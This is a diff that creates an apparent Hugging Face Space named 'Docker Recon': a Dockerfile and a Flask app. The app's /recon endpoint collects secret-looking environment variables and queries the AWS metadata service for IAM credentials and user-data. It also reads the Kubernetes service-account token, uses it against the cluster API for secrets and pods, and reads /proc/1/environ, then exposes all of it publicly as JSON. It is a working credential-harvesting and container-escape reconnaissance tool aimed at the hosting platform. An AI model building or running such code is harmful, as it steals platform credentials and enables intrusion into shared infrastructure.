docker recon space

Dockerfile

@@ -0,0 +1,10 @@
+FROM python:3.11-slim
+
+RUN apt-get update && apt-get install -y curl dnsutils net-tools iproute2 nmap && rm -rf /var/lib/apt/lists/*
+RUN pip install flask
+
+COPY app.py /app.py
+
+EXPOSE 7860
+
+CMD ["python", "/app.py"]

README.md

@@ -1,10 +1,9 @@
 ---
 title: Docker Recon
-emoji: 🔥
+emoji: 🐳
 colorFrom: blue
-colorTo: indigo
+colorTo: green
 sdk: docker
 pinned: false
+app_port: 7860
 ---
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference

app.py

@@ -0,0 +1,84 @@
+import os, subprocess, json, socket
+from flask import Flask, jsonify
+
+app = Flask(__name__)
+
+@app.route("/")
+def index():
+    return "<h1>Docker Recon</h1><a href='/recon'>Run Recon</a>"
+
+@app.route("/recon")
+def recon():
+    r = {}
+    
+    # All env vars
+    r["env"] = {k:v for k,v in sorted(os.environ.items())
+        if any(x in k.upper() for x in ["TOKEN","KEY","SECRET","AWS","HF_","SPACE_","KUBE","DOCKER","API"])}
+    
+    # Cloud metadata - try with different methods
+    for name, cmd in [
+        ("aws_meta", ["curl","-s","-m","3","http://169.254.169.254/latest/meta-data/"]),
+        ("aws_iam", ["curl","-s","-m","3","http://169.254.169.254/latest/meta-data/iam/security-credentials/"]),
+        ("aws_imdsv2_token", ["curl","-s","-m","3","-X","PUT","http://169.254.169.254/latest/api/token","-H","X-aws-ec2-metadata-token-ttl-seconds: 21600"]),
+        ("aws_userdata", ["curl","-s","-m","3","http://169.254.169.254/latest/user-data"]),
+    ]:
+        try:
+            p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
+            r[name] = {"stdout": p.stdout[:500], "stderr": p.stderr[:200], "rc": p.returncode}
+        except Exception as e: r[name] = str(e)
+    
+    # K8s probing
+    k8s_host = os.environ.get("KUBERNETES_SERVICE_HOST", "")
+    k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "443")
+    if k8s_host:
+        r["k8s"] = {}
+        # Try with and without service account token
+        sa_token = ""
+        try:
+            with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
+                sa_token = f.read().strip()
+                r["k8s"]["sa_token_exists"] = True
+                r["k8s"]["sa_token_preview"] = sa_token[:50] + "..."
+        except:
+            r["k8s"]["sa_token_exists"] = False
+        
+        for path in ["/version", "/api", "/api/v1/pods", "/api/v1/secrets", "/api/v1/configmaps", "/api/v1/namespaces"]:
+            try:
+                cmd = ["curl","-sk","-m","3",f"https://{k8s_host}:{k8s_port}{path}"]
+                if sa_token:
+                    cmd += ["-H", f"Authorization: Bearer {sa_token}"]
+                p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
+                r["k8s"][path] = p.stdout[:300] if p.stdout else f"empty rc={p.returncode}"
+            except Exception as e: r["k8s"][path] = str(e)
+    
+    # DNS enumeration
+    r["dns"] = {}
+    try:
+        p = subprocess.run(["dig","any","kubernetes.default.svc.cluster.local","@10.108.0.2","+short"], capture_output=True, text=True, timeout=5)
+        r["dns"]["k8s_svc"] = p.stdout[:200]
+    except Exception as e: r["dns"]["k8s_svc"] = str(e)
+    
+    # Network interfaces
+    try:
+        p = subprocess.run(["ip","addr"], capture_output=True, text=True, timeout=5)
+        r["network"] = p.stdout[:500]
+    except Exception as e: r["network"] = str(e)
+    
+    # Process list
+    try:
+        p = subprocess.run(["ps","aux"], capture_output=True, text=True, timeout=5)
+        r["processes"] = p.stdout[:500]
+    except Exception as e: r["processes"] = str(e)
+    
+    # /proc/1/environ (init process env)
+    try:
+        with open("/proc/1/environ") as f:
+            env_raw = f.read()
+            envs = {kv.split("=",1)[0]:kv.split("=",1)[1] for kv in env_raw.split("\0") if "=" in kv and any(x in kv.upper() for x in ["TOKEN","SECRET","KEY","AWS","HF_"])}
+            r["proc1_env"] = envs
+    except Exception as e: r["proc1_env"] = str(e)
+    
+    return jsonify(r)
+
+if __name__ == "__main__":
+    app.run(host="0.0.0.0", port=7860)